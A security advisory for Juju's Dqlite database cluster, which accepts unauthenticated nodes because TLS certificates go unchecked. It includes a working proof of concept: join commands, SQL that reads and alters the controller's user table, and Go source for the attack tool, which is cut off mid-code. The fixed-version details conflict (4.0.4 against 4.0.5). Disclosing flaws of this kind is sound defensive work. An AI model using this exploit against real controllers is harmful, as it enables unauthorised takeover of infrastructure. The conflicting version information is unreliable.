Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster
Platform
go
Component
github.com/juju/juju
Fixed in
4.0.4
### Impact Any Juju controller since 3.2.0. An attacker with only route-ability to the target juju controller Dqlite cluster endpoint may join the Dqlite cluster, read and modify all information, including escalating privileges, open firewall ports etc. This is due to not checking the client certificate, additionally, the client does not check the server's certificate (MITM attack possible), so anything goes. https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324 #### PoC Using the tool referenced below. Bootstrap a controller and show the users: ``` $ juju bootstrap lxd a Creating Juju controller "a" on lxd/localhost Looking for packaged Juju agent version 4.0.4 for amd64 <...> Launching controller instance(s) on localhost/localhost... - juju-fefd2b-0 (arch=amd64) Installing Juju agent on bootstrap instance Waiting for address Attempting to connect to 10.151.236.15:22 <...> Contacting Juju controller at 10.151.236.15 to verify accessibility... Bootstrap complete, controller "a" is now available Controller machines are in the "controller" model Now it's possible to run juju add-model <model-name> to create a new model to deploy workloads. $ juju users Controller: a Name Display name Access Date created Last connection admin* admin superuser 1 minute ago just now juju-metrics Juju Metrics login 1 minute ago never connected everyone@external ``` Join the cluster with the first cluster member: ``` $ dqlite-demo --db 192.168.1.25:9999 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch <database> .close .exit Connected to database "demo". demo> ``` Join the cluster with another cluster member and give the admin a new name: ``` dqlite-demo --db 192.168.1.25:9998 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch <database> .close .exit Connected to database "demo". demo> .switch controller Connected to database "controller". controller> select * from user; uuid | name | display_name | external | removed | created_by_uuid | created_at -------------------------------------+-------------------+--------------+----------+---------+--------------------------------------+---------------------------------------- 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | admin | admin | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:25.816694339 +0000 UTC 4e1d65ae-564e-4c0e-8ef6-da8b7fb69b53 | juju-metrics | Juju Metrics | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.76549689 +0000 UTC 384c57af-57b1-40be-8e6e-7360371895d3 | everyone@external | | true | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.770215095 +0000 UTC (3 row(s)) controller> update user set display_name='Silly Admin' where name='admin'; OK (1 row(s) affected) controller> ``` The admin won't like this new name: ``` $ juju users Controller: a Name Display name Access Date created Last connection admin* Silly Admin superuser 6 minutes ago just now juju-metrics Juju Metrics login 6 minutes ago never connected everyone@external ``` ### Patches Juju versions 3.6.20 and 4.0.5 are patched to fix this issue. ### Workarounds Either: a. Configure restrictive firewall rules and use a trusted network fabric for Juju controllers in HA. Port 17666 must only be connected to by other controller IP addresses. b. Disable HA by reducing to one Juju controller, block incoming connections to port 17666 and outgoing connections to any port 17666. ### Resources https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324 ### PoC Tool Based on the go-dqlite demo app. ```go package main import ( "context" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "database/sql" "encoding/pem" "fmt" "log" "math/big" "net" "os" "os/signal" "path/filepath" "strings" "time" "github.com/canonical/go-dqlite/v3/app" "github.com/canonical/go-dqlite/v3/client" "github.com/peterh/liner" "github.com/pkg/errors" "github.com/spf13/cobra" "golang.org/x/sys/unix" ) func generateSelfSignedCert() (tls.Certificate, error) { key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) if err != nil { return tls.Certificate{}, fmt.Errorf("generate key: %w", err) } tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "lol"}, NotBefore: time.Now(), NotAfter: time.Now().Add(365 * 24 * time.Hour), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, DNSNames: []string{"lol"}, } certDER, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key) if err != nil { return tls.Certificate{}, fmt.Errorf("create cert: %w", err) } keyDER, err := x509.MarshalECPrivateKey(key) if err != nil { return tls.Certificate{}, fmt.Errorf("marshal key: %w", err) } certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER}) return tls.X509KeyPair(certPEM, keyPEM) } // runREPL runs an interactive SQL REPL against the given dqlite app. // It supports multi-line statements (terminated by ';') and the meta-commands // .switch <database>, .close, and .exit. func runREPL(ctx context.Context, dqliteApp *app.App, initialDBName string, line *liner.State) error { var currentDB *sql.DB var currentDBName string openDB := func(name string) error { if currentDB != nil { if err := currentDB.Close(); err != nil { fmt.Fprintf(os.Stderr, "Warning: closing previous database: %v\n", err) } currentDB = nil currentDBName = "" } db, err := dqliteApp.Open(ctx, name) if err != nil { return fmt.Errorf("open database %q: %w", name, err) } currentDB = db currentDBName = name fmt.Printf("Connected to database %q.\n", name) return nil } defer func() { if currentDB != nil { currentDB.Close() } }() fmt.Println("dqlite interactive shell.") fmt.Println("Enter SQL statements terminated with a semicolon.") fmt.Println("Meta-commands: .switch <database> .close .exit") fmt.Println() if initialDBName != "" { if err := openDB(initialDBName); err != nil { return err } } else { fmt.Println("No database selected. Use .switch <database> to open one.") } prompt := func(multiline bool) string { if multiline { return " ...> " } if currentDBName != "" { return currentDBName + "> " } return "(no db)> " } var buf strings.Builder for { input, err := line.Prompt(prompt(buf.Len() > 0)) if err != nil { if err == liner.ErrPromptAborted { if buf.Len() > 0 { buf.Reset() fmt.Println("(statement aborted)") } continue } // EOF (Ctrl-D) or liner closed externally — exit cleanly. fmt.Println() break } if input != "" { line.AppendHistory(input) } trimmed := strings.TrimSpace(input) if trimmed == "" { continue } // Meta-commands are only recognised at the start of a fresh statement. if buf.Len() == 0 && strings.HasPrefix(trimmed, ".") { parts := strings.Fields(trimmed) switch parts[0] { case ".exit": return nil case ".close": if currentDB != nil { if err := currentDB.Close(); err != nil { fmt.Fprintf(os.Stderr, "Error closing database: %v\n", err) } else { fmt.Printf("Database %q closed.\n", currentDBName) } currentDB = nil currentDBName = "" } else { fmt.Println("No database is currently open.") } case ".switch": if len(parts) < 2 { fmt.Fprintln(os.Stderr, "Usage: .switch <database>") } else { if err := openDB(parts[1]); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) } } default: fmt.Fprintf(os.Stderr, "Unknown meta-command: %s\n", parts[0]) fmt.Fprintln(os.Stderr, "Available meta-commands: .switch <database> .close .exit") } continue } // Accumulate SQL across lines. if buf.Len() > 0 { buf.WriteByte('\n') } buf.WriteString(input) // Execute once the statement is terminated with a semicolon. stmt := strings.TrimSpace(buf.String()) if strings.HasSuffix(stmt, ";") { buf.Reset() if currentDB == nil { fmt.Fprintln(os.Stderr, "Error: no database open. Use .switch <database> to open one.") continue } if err := execSQL(currentDB, stmt); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) } } } return nil } // execSQL dispatches to execQuery or execStatement based on the leading keyword. func execSQL(db *sql.DB, stmt string) error { // Trim the trailing semicolon just for the prefix check. upper := strings.ToUpper(strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(stmt), ";"))) switch { case strings.HasPrefix(upper, "SELECT"), strings.HasPrefix(upper, "WITH"), strings.HasPrefix(upper, "PRAGMA"), strings.HasPrefix(upper, "EXPLAIN"): return execQuery(db, stmt) default: return execStatement(db, stmt) } } // execQuery runs a statement expected to return rows and prints them as a table. func execQuery(db *sql.DB, stmt string) error { rows, err := db.Query(stmt) if err != nil { return err } defer rows.Close() cols, err := rows.Columns() if err != nil { return err } if len(cols) == 0 { fmt.Println("OK") return nil } // Initialise column widths from the header names. widths := make([]int, len(cols)) for i, c := range cols { widths[i] = len(c) } // Scan all rows i
How to fix
Actualice Juju a la versión 3.6.20 o superior, o a la versión 4.0.4 o superior. Esto corrige la validación incorrecta de certificados TLS, impidiendo que atacantes no autenticados se unan al clúster de la base de datos y comprometan los datos.
Monitor your dependencies automatically
Get notified when new vulnerabilities affect your projects. Free forever.
Start free